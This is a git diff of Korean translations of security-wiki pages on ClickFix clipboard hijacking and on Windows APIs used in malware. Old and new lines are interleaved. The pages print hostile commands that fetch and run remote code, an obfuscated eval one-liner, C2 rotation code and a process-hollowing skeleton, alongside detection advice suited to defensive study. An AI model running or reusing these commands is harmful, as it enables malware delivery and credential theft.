> "자신이 복사하지 않은 것은 절대 붙여넣지 마세요." – 오래된 조언이지만 여전히 유효합니다.
|
||||
> "본인이 직접 복사하지 않은 것은 절대 붙여넣지 마라." – 오래된 조언이지만 여전히 유효하다
|
||||
|
||||
## 개요
|
||||
|
||||
클립보드 하이재킹 – *pastejacking*으로도 알려짐 – 은 사용자가 명령을 복사하고 붙여넣는 것을 검사하지 않고 일상적으로 수행하는 사실을 악용합니다. 악의적인 웹 페이지(또는 Electron 또는 데스크탑 애플리케이션과 같은 JavaScript를 지원하는 컨텍스트)는 공격자가 제어하는 텍스트를 시스템 클립보드에 프로그래밍 방식으로 삽입합니다. 피해자는 일반적으로 정교하게 제작된 사회 공학 지침에 의해 **Win + R** (실행 대화상자), **Win + X** (빠른 액세스 / PowerShell)을 누르거나 터미널을 열고 클립보드 내용을 *붙여넣기* 하도록 유도되어 즉시 임의의 명령을 실행하게 됩니다.
|
||||
클립보드 하이재킹 – *pastejacking*이라고도 함 – 은 사용자가 명령을 검사하지 않고 일상적으로 복사-붙여넣기 하는 사실을 악용한다. 악성 웹 페이지(또는 JavaScript가 동작하는 컨텍스트, 예: Electron이나 데스크탑 애플리케이션)는 프로그래밍적으로 공격자가 제어하는 텍스트를 시스템 클립보드에 넣는다. 피해자는 보통 정교하게 구성된 소셜 엔지니어링 지시를 통해 **Win + R**(실행 대화상자), **Win + X**(Quick Access / PowerShell)를 누르거나 터미널을 열고 *붙여넣기* 한 클립보드 내용을 실행하여 즉시 임의의 명령을 실행하도록 유도된다.
|
||||
|
||||
**파일이 다운로드되지 않고 첨부파일이 열리지 않기 때문에**, 이 기술은 첨부파일, 매크로 또는 직접 명령 실행을 모니터링하는 대부분의 이메일 및 웹 콘텐츠 보안 제어를 우회합니다. 따라서 이 공격은 NetSupport RAT, Latrodectus 로더 또는 Lumma Stealer와 같은 일반적인 맬웨어 패밀리를 배포하는 피싱 캠페인에서 인기가 있습니다.
|
||||
**파일이 다운로드되지 않고 첨부파일이 열리지 않기 때문에**, 이 기법은 첨부파일, 매크로 또는 직접 명령 실행을 모니터링하는 대부분의 이메일 및 웹 콘텐츠 보안 제어를 우회한다. 따라서 이 공격은 NetSupport RAT, Latrodectus loader 또는 Lumma Stealer와 같은 일반 악성코드 계열을 배포하는 피싱 캠페인에서 널리 사용된다.
|
||||
|
||||
## JavaScript 개념 증명
|
||||
## JavaScript Proof-of-Concept
|
||||
```html
|
||||
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
|
||||
<button id="fix" onclick="copyPayload()">Fix the error</button>
|
||||
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
|
||||
}
|
||||
</script>
|
||||
```
|
||||
이전 캠페인은 `document.execCommand('copy')`를 사용했지만, 최신 캠페인은 비동기 **Clipboard API** (`navigator.clipboard.writeText`)에 의존합니다.
|
||||
Older campaigns used `document.execCommand('copy')`, newer ones rely on the asynchronous **Clipboard API** (`navigator.clipboard.writeText`).
|
||||
|
||||
## ClickFix / ClearFake 흐름
|
||||
## The ClickFix / ClearFake 흐름
|
||||
|
||||
1. 사용자가 오타가 있는 또는 손상된 사이트(예: `docusign.sa[.]com`)를 방문합니다.
|
||||
2. 주입된 **ClearFake** JavaScript가 `unsecuredCopyToClipboard()` 헬퍼를 호출하여 Base64로 인코딩된 PowerShell 원라이너를 클립보드에 조용히 저장합니다.
|
||||
3. HTML 지침은 피해자에게 다음과 같이 말합니다: *“**Win + R**을 누르고, 명령을 붙여넣고 Enter를 눌러 문제를 해결하세요.”*
|
||||
4. `powershell.exe`가 실행되어 합법적인 실행 파일과 악성 DLL이 포함된 아카이브를 다운로드합니다(고전적인 DLL 사이드로딩).
|
||||
5. 로더가 추가 단계를 복호화하고, 셸코드를 주입하며, 지속성을 설치합니다(예: 예약 작업) – 궁극적으로 NetSupport RAT / Latrodectus / Lumma Stealer를 실행합니다.
|
||||
1. 사용자가 typosquatted 또는 compromised 사이트를 방문한다 (예: `docusign.sa[.]com`)
|
||||
2. 주입된 **ClearFake** JavaScript는 `unsecuredCopyToClipboard()` 헬퍼를 호출해 클립보드에 Base64-encoded PowerShell one-liner를 조용히 저장한다.
|
||||
3. HTML 지침은 피해자에게 다음을 지시한다: *“Press **Win + R**, 명령을 붙여넣고 Enter를 눌러 문제를 해결하세요.”*
|
||||
4. `powershell.exe`가 실행되어 합법적인 실행파일과 악성 DLL을 포함한 아카이브를 다운로드한다 (classic DLL sideloading).
|
||||
5. 로더는 추가 스테이지를 복호화하고, shellcode를 주입하며 persistence(예: scheduled task)를 설치한다 — 결국 NetSupport RAT / Latrodectus / Lumma Stealer를 실행한다.
|
||||
|
||||
### 예시 NetSupport RAT 체인
|
||||
### NetSupport RAT 체인 예시
|
||||
```powershell
|
||||
powershell -nop -w hidden -enc <Base64>
|
||||
# ↓ Decodes to:
|
||||
@ -40,50 +40,86 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
|
||||
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
|
||||
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
|
||||
```
|
||||
* `jp2launcher.exe` (정상적인 Java WebStart)는 자신의 디렉토리에서 `msvcp140.dll`을 검색합니다.
|
||||
* 악성 DLL은 **GetProcAddress**로 API를 동적으로 해결하고, **curl.exe**를 통해 두 개의 바이너리(`data_3.bin`, `data_4.bin`)를 다운로드하며, `"https://google.com/"`라는 롤링 XOR 키를 사용하여 이를 복호화하고, 최종 셸코드를 주입하며 **client32.exe** (NetSupport RAT)를 `C:\ProgramData\SecurityCheck_v1\`에 압축 해제합니다.
|
||||
* `jp2launcher.exe` (정상적인 Java WebStart)는 자신의 디렉터리에서 `msvcp140.dll`을 검색합니다.
|
||||
* 악성 DLL은 **GetProcAddress**로 API 주소를 동적으로 가져오고, **curl.exe**를 통해 두 개의 바이너리(`data_3.bin`, `data_4.bin`)를 다운로드하며, 롤링 XOR 키 `"https://google.com/"`로 이를 복호화하고, 최종 shellcode를 인젝션한 뒤 **client32.exe** (NetSupport RAT)를 `C:\ProgramData\SecurityCheck_v1\`에 압축 해제합니다.
|
||||
|
||||
### Latrodectus Loader
|
||||
```
|
||||
powershell -nop -enc <Base64> # Cloud Identificator: 2031
|
||||
```
|
||||
1. **curl.exe**로 `la.txt` 다운로드
|
||||
2. **cscript.exe** 내에서 JScript 다운로더 실행
|
||||
3. MSI 페이로드를 가져옴 → 서명된 애플리케이션 옆에 `libcef.dll` 드롭 → DLL 사이드로딩 → 셸코드 → Latrodectus.
|
||||
1. **curl.exe**로 `la.txt`를 다운로드한다
|
||||
2. **cscript.exe** 안에서 JScript downloader를 실행한다
|
||||
3. MSI payload를 가져옴 → 서명된 애플리케이션 옆에 `libcef.dll`를 드롭함 → DLL sideloading → shellcode → Latrodectus.
|
||||
|
||||
### MSHTA를 통한 Lumma Stealer
|
||||
```
|
||||
mshta https://iplogger.co/xxxx =+\\xxx
|
||||
```
|
||||
The **mshta** 호출은 숨겨진 PowerShell 스크립트를 실행하여 `PartyContinued.exe`를 검색하고, `Boat.pst` (CAB)를 추출하며, `extrac32` 및 파일 연결을 통해 `AutoIt3.exe`를 재구성한 후, 브라우저 자격 증명을 `sumeriavgv.digital`로 유출하는 `.a3x` 스크립트를 실행합니다.
|
||||
The **mshta** 호출은 숨겨진 PowerShell 스크립트를 실행하여 `PartyContinued.exe`를 가져오고, `Boat.pst` (CAB)을 추출하며 `extrac32`와 파일 결합을 통해 `AutoIt3.exe`를 재구성한 다음 최종적으로 `.a3x` 스크립트를 실행하여 browser credentials를 `sumeriavgv.digital`로 exfiltrates.
|
||||
|
||||
## 탐지 및 사냥
|
||||
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
|
||||
|
||||
블루팀은 클립보드, 프로세스 생성 및 레지스트리 텔레메트리를 결합하여 pastejacking 남용을 정확히 찾아낼 수 있습니다:
|
||||
일부 ClickFix 캠페인은 파일 다운로드를 완전히 건너뛰고 피해자에게 WSH를 통해 JavaScript를 가져와 실행하는 one‑liner를 붙여넣도록 지시하며, 이를 지속화하고 C2를 매일 교체합니다. 관찰된 예시 체인:
|
||||
```powershell
|
||||
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
|
||||
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
|
||||
```
|
||||
주요 특징
|
||||
- 단순한 검사로부터 숨기기 위해 런타임에 역순으로 처리되는 난독화된 URL.
|
||||
- JavaScript는 Startup LNK (WScript/CScript)를 통해 지속성을 확보하며, 현재 날짜에 따라 C2를 선택하여 빠른 도메인 회전을 가능하게 한다.
|
||||
|
||||
* Windows 레지스트리: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`는 **Win + R** 명령의 기록을 유지합니다 – 비정상적인 Base64 / 난독화된 항목을 찾아보세요.
|
||||
* 보안 이벤트 ID **4688** (프로세스 생성)에서 `ParentImage` == `explorer.exe`이고 `NewProcessName`이 { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }에 있는 경우.
|
||||
* 의심스러운 4688 이벤트 직전에 `%LocalAppData%\Microsoft\Windows\WinX\` 또는 임시 폴더에서 파일 생성에 대한 이벤트 ID **4663**.
|
||||
* EDR 클립보드 센서 (존재하는 경우) – `Clipboard Write`가 새로운 PowerShell 프로세스에 의해 즉시 이어지는지 상관관계 분석.
|
||||
날짜별로 C2를 회전시키기 위해 사용된 최소한의 JS 코드 조각:
|
||||
```js
|
||||
function getURL() {
|
||||
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
|
||||
var current_datetime = new Date().getTime();
|
||||
var no_days = getDaysDiff(0, current_datetime);
|
||||
return 'https://'
|
||||
+ getListElement(C2_domain_list, no_days)
|
||||
+ '/Y/?t=' + current_datetime
|
||||
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
|
||||
}
|
||||
```
|
||||
다음 단계에서는 일반적으로 loader를 배포하여 persistence를 확보하고 RAT(예: PureHVNC)을 가져오며, 종종 TLS를 하드코딩된 certificate에 pinning하고 트래픽을 청크 처리한다.
|
||||
|
||||
## 완화 조치
|
||||
Detection ideas specific to this variant
|
||||
- Process tree: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
|
||||
- Startup artifacts: LNK in `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` invoking WScript/CScript with a JS path under `%TEMP%`/`%APPDATA%`.
|
||||
- Registry/RunMRU and command‑line telemetry containing `.split('').reverse().join('')` or `eval(a.responseText)`.
|
||||
- Repeated `powershell -NoProfile -NonInteractive -Command -` with large stdin payloads to feed long scripts without long command lines.
|
||||
- Scheduled Tasks that subsequently execute LOLBins such as `regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll"` under an updater‑looking task/path (e.g., `\GoogleSystem\GoogleUpdater`).
|
||||
|
||||
1. 브라우저 강화 – 클립보드 쓰기 접근을 비활성화 (`dom.events.asyncClipboard.clipboardItem` 등)하거나 사용자 제스처를 요구합니다.
|
||||
2. 보안 인식 – 사용자에게 민감한 명령을 *타이핑* 하거나 먼저 텍스트 편집기에 붙여넣도록 교육합니다.
|
||||
3. PowerShell 제한 언어 모드 / 실행 정책 + 응용 프로그램 제어를 통해 임의의 원라이너를 차단합니다.
|
||||
4. 네트워크 제어 – 알려진 pastejacking 및 악성 코드 C2 도메인에 대한 아웃바운드 요청을 차단합니다.
|
||||
Threat hunting
|
||||
- Daily‑rotating C2 hostnames and URLs with `.../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection>` pattern.
|
||||
- Correlate clipboard write events followed by Win+R paste then immediate `powershell.exe` execution.
|
||||
|
||||
## 관련 트릭
|
||||
|
||||
* **Discord 초대 하이재킹**은 종종 사용자를 악성 서버로 유인한 후 동일한 ClickFix 접근 방식을 남용합니다:
|
||||
Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:
|
||||
|
||||
* Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` keeps a history of **Win + R** commands – look for unusual Base64 / obfuscated entries.
|
||||
* Security Event ID **4688** (Process Creation) where `ParentImage` == `explorer.exe` and `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
|
||||
* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
|
||||
* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
|
||||
|
||||
## Mitigations
|
||||
|
||||
1. Browser hardening – disable clipboard write-access (`dom.events.asyncClipboard.clipboardItem` etc.) or require user gesture.
|
||||
2. Security awareness – teach users to *type* sensitive commands or paste them into a text editor first.
|
||||
3. PowerShell Constrained Language Mode / Execution Policy + Application Control to block arbitrary one-liners.
|
||||
4. Network controls – block outbound requests to known pastejacking and malware C2 domains.
|
||||
|
||||
## Related Tricks
|
||||
|
||||
* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:
|
||||
|
||||
{{#ref}}
|
||||
discord-invite-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
## 참조
|
||||
## References
|
||||
|
||||
- [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
|
||||
- [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
|
||||
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Malware에서 사용되는 일반 API
|
||||
# 일반 API (Common API used in Malware)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -17,19 +17,24 @@
|
||||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
|
||||
### 지속성
|
||||
### TLS pinning and chunked transport
|
||||
|
||||
| 레지스트리 | 파일 | 서비스 |
|
||||
| ---------------- | ------------- | ---------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
많은 로더는 TCP 스트림을 `SslStream`으로 감싸고 서버의 leaf certificate를 임베디드 복사본에 대해 고정합니다 (certificate pinning). 봇 정보/작업은 압축됩니다(예: GZip). 응답 크기가 임계값(약 1 MB)을 초과하면, 데이터는 크기 기반 휴리스틱을 회피하고 역직렬화 중 메모리 스파이크를 줄이기 위해 작은 청크(예: 16 KB 세그먼트)로 분할됩니다.
|
||||
|
||||
### 암호화
|
||||
|
||||
| 이름 |
|
||||
### 영속성 (Persistence)
|
||||
|
||||
| 레지스트리 (Registry) | 파일 (File) | 서비스 (Service) |
|
||||
| --------------------- | ------------- | ---------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
|
||||
### 암호화 (Encryption)
|
||||
|
||||
| Name |
|
||||
| --------------------- |
|
||||
| WinCrypt |
|
||||
| CryptAcquireContext() |
|
||||
@ -38,107 +43,124 @@
|
||||
| CryptDecrypt() |
|
||||
| CryptReleaseContext() |
|
||||
|
||||
### 분석 방지/VM
|
||||
### 안티-분석/VM (Anti-Analysis/VM)
|
||||
|
||||
| 함수 이름 | 어셈블리 명령어 |
|
||||
| ----------------------------------------------------- | ----------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[프로세스가 실행 중인지 확인\] | |
|
||||
| CreateFileW/A \[파일 존재 여부 확인\] | |
|
||||
| 함수 이름 (Function Name) | 어셈블리 명령어 (Assembly Instructions) |
|
||||
| ------------------------------------------------------- | ---------------------------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Check if a process is running] | |
|
||||
| CreateFileW/A \[Check if a file exist] | |
|
||||
|
||||
### 스텔스
|
||||
### 에뮬레이터 API 지문화 및 슬립 회피 (Emulator API fingerprinting & sleep evasion)
|
||||
|
||||
Malware는 종종 Defender의 virtualised exports(예: Malware Protection Emulator에서 관찰되는)를 검색하여 샌드박스 에뮬레이터를 지문화합니다. 프로세스에서 이러한 심볼이 존재하면(대소문자 구분 없는 스캔) 실행을 10–30분 지연시키고 재확인하여 분석 시간을 소모시킵니다.
|
||||
|
||||
카나리로 사용되는 API 이름 예시:
|
||||
- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
|
||||
- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
|
||||
- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
|
||||
|
||||
일반적인 지연 프리미티브 (user-land):
|
||||
```cmd
|
||||
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
|
||||
```
|
||||
인자 게이트키핑
|
||||
- 운영자들은 페이로드 실행 전에 무해해 보이는 CLI 스위치의 존재를 요구하는 경우가 있다(예: Chromium 자식 프로세스를 흉내내기 위한 `/i:--type=renderer`). 스위치가 없으면 loader가 즉시 종료되어 단순한 sandbox 실행을 방해한다.
|
||||
|
||||
|
||||
### Stealth
|
||||
|
||||
| 이름 | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | 메모리 할당 (패커) |
|
||||
| VirtualProtect | 메모리 권한 변경 (패커가 섹션에 실행 권한 부여) |
|
||||
| ReadProcessMemory | 외부 프로세스에 주입 |
|
||||
| WriteProcessMemoryA/W | 외부 프로세스에 주입 |
|
||||
| VirtualAlloc | 메모리 할당 (packers) |
|
||||
| VirtualProtect | 메모리 권한 변경 (section에 실행 권한을 부여하는 packer) |
|
||||
| ReadProcessMemory | 외부 프로세스에 대한 주입 |
|
||||
| WriteProcessMemoryA/W | 외부 프로세스에 대한 주입 |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/프로세스 주입... |
|
||||
| CreateRemoteThread | DLL/Process injection... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
||||
### 실행
|
||||
### Execution
|
||||
|
||||
| 함수 이름 |
|
||||
| ------------ |
|
||||
| ---------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
|
||||
### 기타
|
||||
### Miscellaneous
|
||||
|
||||
- GetAsyncKeyState() -- 키 로깅
|
||||
- SetWindowsHookEx -- 키 로깅
|
||||
- GetForeGroundWindow -- 실행 중인 창 이름 가져오기 (또는 브라우저에서 웹사이트)
|
||||
- LoadLibrary() -- 라이브러리 가져오기
|
||||
- GetProcAddress() -- 라이브러리 가져오기
|
||||
- CreateToolhelp32Snapshot() -- 실행 중인 프로세스 목록
|
||||
- GetDC() -- 스크린샷
|
||||
- BitBlt() -- 스크린샷
|
||||
- GetAsyncKeyState() -- 키로깅
|
||||
- SetWindowsHookEx -- 키로깅
|
||||
- GetForeGroundWindow -- 실행 중인 창 이름 가져오기 (또는 브라우저의 웹사이트)
|
||||
- LoadLibrary() -- 라이브러리 로드
|
||||
- GetProcAddress() -- 함수 주소 조회
|
||||
- CreateToolhelp32Snapshot() -- 실행 중인 프로세스 나열
|
||||
- GetDC() -- 화면 캡처
|
||||
- BitBlt() -- 화면 캡처
|
||||
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 인터넷 접근
|
||||
- FindResource(), LoadResource(), LockResource() -- 실행 파일의 리소스 접근
|
||||
|
||||
## 맬웨어 기술
|
||||
## Malware Techniques
|
||||
|
||||
### DLL 주입
|
||||
### DLL Injection
|
||||
|
||||
다른 프로세스 내에서 임의의 DLL 실행
|
||||
Execute an arbitrary DLL inside another process
|
||||
|
||||
1. 악성 DLL을 주입할 프로세스 찾기: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. 프로세스 열기: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
3. 프로세스 내에 DLL 경로 쓰기: VirtualAllocEx, WriteProcessMemory
|
||||
4. 악성 DLL을 로드할 프로세스 내에서 스레드 생성: CreateRemoteThread, LoadLibrary
|
||||
1. 악성 DLL을 주입할 프로세스를 찾음: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. 프로세스를 엶: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
3. 프로세스 내부에 DLL 경로를 씀: VirtualAllocEx, WriteProcessMemory
|
||||
4. 악성 DLL을 로드할 스레드를 생성: CreateRemoteThread, LoadLibrary
|
||||
|
||||
사용할 다른 함수: NTCreateThreadEx, RtlCreateUserThread
|
||||
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
|
||||
|
||||
### 반사 DLL 주입
|
||||
### Reflective DLL Injection
|
||||
|
||||
정상 Windows API 호출 없이 악성 DLL 로드.\
|
||||
DLL은 프로세스 내에 매핑되며, 가져오기 주소를 해결하고, 재배치 수정 및 DllMain 함수를 호출합니다.
|
||||
Load a malicious DLL without calling normal Windows API calls.\
|
||||
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
|
||||
|
||||
### 스레드 하이재킹
|
||||
### Thread Hijacking
|
||||
|
||||
프로세스에서 스레드를 찾아 악성 DLL을 로드하게 만듭니다.
|
||||
Find a thread from a process and make it load a malicious DLL
|
||||
|
||||
1. 대상 스레드 찾기: CreateToolhelp32Snapshot, Thread32First, Thread32Next
|
||||
2. 스레드 열기: OpenThread
|
||||
3. 스레드 일시 중지: SuspendThread
|
||||
4. 피해자 프로세스 내에 악성 DLL 경로 쓰기: VirtualAllocEx, WriteProcessMemory
|
||||
5. 라이브러리를 로드하는 스레드 재개: ResumeThread
|
||||
3. 스레드 일시중지: SuspendThread
|
||||
4. 희생자 프로세스 내부에 악성 DLL 경로 기록: VirtualAllocEx, WriteProcessMemory
|
||||
5. 라이브러리를 로드하면서 스레드 재개: ResumeThread
|
||||
|
||||
### PE 주입
|
||||
### PE Injection
|
||||
|
||||
휴대용 실행 주입: 실행 파일이 피해자 프로세스의 메모리에 기록되고 거기서 실행됩니다.
|
||||
Portable Execution Injection: The executable will be written in the memory of the victim process and it will be executed from there.
|
||||
|
||||
### 프로세스 할로잉 (일명 **RunPE**)
|
||||
### Process Hollowing (a.k.a **RunPE**)
|
||||
|
||||
`Process Hollowing`은 Windows 맬웨어에서 사용되는 가장 좋아하는 **방어 회피 / 실행** 트릭 중 하나입니다. 아이디어는 *합법적인* 프로세스를 **일시 중지** 상태로 시작하고, 메모리에서 원래 이미지를 제거(할로우)하고 그 자리에 **임의의 PE**를 복사하는 것입니다. 기본 스레드가 최종적으로 재개되면 악성 진입점이 신뢰할 수 있는 바이너리(종종 Microsoft에 의해 서명됨)의 가장 아래에서 실행됩니다.
|
||||
`Process Hollowing`은 Windows 악성코드가 사용하는 대표적인 **defence-evasion / execution** 트릭 중 하나이다. 아이디어는 *정상적인* 프로세스를 **suspended** 상태로 실행한 뒤, 메모리에서 원래 이미지를 제거(hollow)하고 그 자리에 **임의의 PE**를 복사하는 것이다. 기본 스레드가 재개되면 악성 엔트리 포인트가 신뢰된 바이너리(종종 Microsoft 서명됨)의 위장 하에 실행된다.
|
||||
|
||||
전형적인 작업 흐름:
|
||||
|
||||
1. benign host 생성 (예: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **일시 중지** 상태로 시작하여 아직 명령이 실행되지 않도록 합니다.
|
||||
1. 무해한 호스트(예: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`)를 아무 명령도 실행되지 않도록 **suspended** 상태로 생성.
|
||||
```c
|
||||
STARTUPINFOA si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
|
||||
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
|
||||
```
|
||||
2. 악성 페이로드를 메모리에 읽고 PE 헤더를 파싱하여 `SizeOfImage`, 섹션 및 새로운 `EntryPoint`를 얻습니다.
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – 일시 중지된 프로세스의 원래 이미지 베이스를 언맵합니다.
|
||||
4. **VirtualAllocEx** – 원격 프로세스 내에 `SizeOfImage`의 RWX 메모리를 예약합니다.
|
||||
5. **WriteProcessMemory** – 먼저 `Headers`를 복사한 다음 섹션을 반복하여 원시 데이터를 복사합니다.
|
||||
6. **SetThreadContext** – `EAX/RAX` (`RCX` on x64) 또는 컨텍스트 구조의 `Rip` 값을 패치하여 `EIP`가 페이로드의 `EntryPoint`를 가리키도록 합니다.
|
||||
7. **ResumeThread** – 스레드가 계속 진행되며 공격자가 제공한 코드를 실행합니다.
|
||||
2. 악성 페이로드를 메모리로 읽어 PE 헤더를 파싱하여 `SizeOfImage`, 섹션들 및 새로운 `EntryPoint`를 얻음.
|
||||
3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – suspended된 프로세스의 원래 이미지 베이스를 언맵.
|
||||
4. **VirtualAllocEx** – 원격 프로세스 내부에 `SizeOfImage` 크기의 RWX 메모리를 예약.
|
||||
5. **WriteProcessMemory** – 먼저 `Headers`를 복사한 다음 섹션들을 순회하며 raw 데이터를 복사.
|
||||
6. **SetThreadContext** – 컨텍스트 구조의 `EAX/RAX` (`x64`에서는 `RCX`) 또는 `Rip` 값을 패치하여 `EIP`가 페이로드의 `EntryPoint`를 가리키도록 함.
|
||||
7. **ResumeThread** – 스레드가 계속 실행되어 공격자가 제공한 코드를 실행함.
|
||||
|
||||
최소한의 개념 증명 (x86) 스켈레톤:
|
||||
최소 PoC (x86) 골격:
|
||||
```c
|
||||
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
|
||||
// 1. create suspended process
|
||||
@ -164,30 +186,28 @@ SetThreadContext(pi.hThread,&ctx);
|
||||
ResumeThread(pi.hThread);
|
||||
}
|
||||
```
|
||||
Practical notes observed in the **DarkCloud Stealer** campaign:
|
||||
|
||||
* 로더는 주목을 끌 가능성이 낮은 서명된 바이너리인 `RegAsm.exe` (.NET Framework의 일부)를 호스트로 선택했습니다.
|
||||
* 복호화된 VB6 스틸러(`holographies.exe`)는 디스크에 드롭되지 않으며, 오직 비워진 프로세스 내에서만 존재하여 정적 탐지를 더 어렵게 만듭니다.
|
||||
* 민감한 문자열(정규 표현식, 경로, 텔레그램 자격 증명)은 문자열별로 **RC4-암호화**되어 있으며, 런타임에서만 복호화되어 메모리 스캔을 더욱 복잡하게 만듭니다.
|
||||
|
||||
Detection ideas:
|
||||
* 메모리 영역이 **RWX**로 할당되기 전에 GUI/콘솔 창을 생성하지 않는 `CREATE_SUSPENDED` 프로세스에 경고합니다 (선량한 코드에서는 드물게 발생).
|
||||
* 서로 다른 프로세스에서 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` 호출 시퀀스를 찾습니다.
|
||||
다음은 **DarkCloud Stealer** 캠페인에서 관찰된 실무 노트:
|
||||
|
||||
* 로더는 `RegAsm.exe` (part of the .NET Framework)를 호스트로 선택 — 서명된 바이너리로 눈에 띄기 어려움.
|
||||
* 복호화된 VB6 stealer (`holographies.exe`)는 디스크에 *드롭되지 않음*; hollowed 프로세스 내부에서만 존재하여 정적 탐지를 어렵게 함.
|
||||
* 민감한 문자열(regexes, paths, Telegram credentials)은 문자열별로 **RC4-encrypted** 되어 런타임에만 복호화되므로 메모리 스캔이 더 복잡해짐.
|
||||
|
||||
탐지 아이디어:
|
||||
* 메모리 영역이 **RWX**로 할당되기 전까지 GUI/콘솔 윈도우를 전혀 생성하지 않는 `CREATE_SUSPENDED` 프로세스에 대해 경보를 생성(정상 코드에서는 드문 동작).
|
||||
* 서로 다른 프로세스에서 `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` 호출 시퀀스를 탐지.
|
||||
|
||||
## Hooking
|
||||
|
||||
- **SSDT** (**System Service Descriptor Table**)는 사용자 프로세스가 이러한 함수를 호출할 수 있도록 커널 함수(ntoskrnl.exe) 또는 GUI 드라이버(win32k.sys)를 가리킵니다.
|
||||
- 루트킷은 이러한 포인터를 자신이 제어하는 주소로 수정할 수 있습니다.
|
||||
